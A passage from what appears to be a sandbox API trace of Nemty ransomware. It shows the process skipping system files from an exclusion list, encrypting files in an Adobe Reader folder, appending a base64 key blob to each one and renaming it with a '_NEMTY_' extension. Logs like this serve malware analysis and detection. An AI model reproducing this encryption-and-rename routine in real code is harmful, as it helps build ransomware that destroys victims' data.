Size=0x20) returned 0x4f9ecb8 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.088] Sleep (dwMilliseconds=0x5) [0217.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350a8330, dwHighDateTime=0x1d561e8)) [0217.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350a8330, dwHighDateTime=0x1d561e8)) [0217.103] GetLastError () returned 0x0 [0217.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.103] GetLastError () returned 0x0 [0217.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.104] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.104] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.105] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.105] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="uZJZGiwfJgL3St/6aY3SDv68vP9NWRzr1nV3wZosZqkem0WXlF2R1LFVC3TcpK0P\r\nAsc1WMPKWFSxx7MJeEfmMnluph15E71Udc252JCQsj1Hi6OY52Fna6PL4pPD22/k\r\niBYQjl+Bi/QVIq3TAO/j5/gxdYIfZSMfR/Q7VXBO4LIFDrFj+R1gxYvCPst/JPnY\r\nXTuWpdLvjpA+PxmXZ/EoWy96g9Js6YNcELk7c+XvU7QDS7/x+bXXf5si9GCdCou1\r\nSw7D0F901Whg4dGKdzdSFbe4yfKtZV22oKCQ+6tsNOf2Wl+IhE3W/2xvqM5F5+WS\r\nDfhG1z0Yt4eLurOvDFKc0w==\r\n", pcchString=0x653df5c) returned 1 [0217.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.106] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32767) returned 1 [0217.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0217.106] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.106] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.111] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.111] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0217.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.112] SetFilePointer (in: hFile=0x320, lDistanceToMove=32767, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fff [0217.112] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.112] CloseHandle (hObject=0x320) returned 1 [0217.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.112] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl32.clx._nemty_kgobjgd_")) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.116] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cze.fca", cAlternateFileName="")) returned 1 [0217.116] lstrcmpiW (lpString1="cze.fca", lpString2=".") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="..") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="...") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="windows") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="rsa") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="NTDETECT.COM") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="ntldr") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="MSDOS.SYS") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="IO.SYS") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="boot.ini") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="boot.ini") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="ntuser.dat") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="desktop.ini") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="CONFIG.SYS") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="RECYCLER") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="bootmgr") returned 1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="programdata") returned -1 [0217.117] lstrcmpiW (lpString1="cze.fca", lpString2="appdata") returned 1 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.fca", lpUsedDefaultChar=0x0) returned 7 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.fca", lpUsedDefaultChar=0x0) returned 7 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.fca", lpUsedDefaultChar=0x0) returned 7 [0217.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.fca", lpUsedDefaultChar=0x0) returned 7 [0217.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.118] Sleep (dwMilliseconds=0x5) [0217.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350ce490, dwHighDateTime=0x1d561e8)) [0217.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x350ce490, dwHighDateTime=0x1d561e8)) [0217.119] GetLastError () returned 0x0 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.119] GetLastError () returned 0x0 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.119] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.119] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.119] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.119] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="Rt9HmmLiN199lLeOFCT6vZ+RZCwzyVSCh9WaXnu9GPg1udBMm5kVXTtRGc/3rd7K\r\nJI3T7pYgBXF6XO08ApGCoIE8nh5iDaXwmSgP4uYTqqMUmJurjvUPiejv6tvRDI2M\r\nLbPE6MSIvB3CcxPZwfqRC29IjuHfA6XCNWejC26LqIxaSDpvi/3PbtQeDO/7gWPQ\r\nEx+iryqg2Rqvlpe6/SIPR9o1QpCXO6VtYPfxSoaopxGuhP7eKs80eQfeUGDqrUyB\r\nfAS6FQ5SMqiyWC+Z7zhvs7P4SqGjVxbdZzaZP9wlxJQ2cjVrLxfbNlFyb6cK0hk4\r\n3uPKkg78Dq3G7BhdjgZidA==\r\n", pcchString=0x653df5c) returned 1 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.121] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=736) returned 1 [0217.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e0) returned 0x63440b0 [0217.121] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.121] ReadFile (in: hFile=0x320, lpBuffer=0x63440b0, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesRead=0x653e1a4*=0x2e0, lpOverlapped=0x0) returned 1 [0217.123] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.123] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x2e0, lpOverlapped=0x0) returned 1 [0217.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.123] SetFilePointer (in: hFile=0x320, lDistanceToMove=736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e0 [0217.123] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.123] CloseHandle (hObject=0x320) returned 1 [0217.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.124] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.fca._nemty_kgobjgd_")) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.125] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e167300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="cze.hyp", cAlternateFileName="")) returned 1 [0217.125] lstrcmpiW (lpString1="cze.hyp", lpString2=".") returned 1 [0217.125] lstrcmpiW (lpString1="cze.hyp", lpString2="..") returned 1 [0217.125] lstrcmpiW (lpString1="cze.hyp", lpString2="...") returned 1 [0217.125] lstrcmpiW (lpString1="cze.hyp", lpString2="windows") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="rsa") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="NTDETECT.COM") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="ntldr") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="MSDOS.SYS") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="IO.SYS") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="boot.ini") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="boot.ini") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="ntuser.dat") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="desktop.ini") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="CONFIG.SYS") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="RECYCLER") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="bootmgr") returned 1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="programdata") returned -1 [0217.126] lstrcmpiW (lpString1="cze.hyp", lpString2="appdata") returned 1 [0217.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 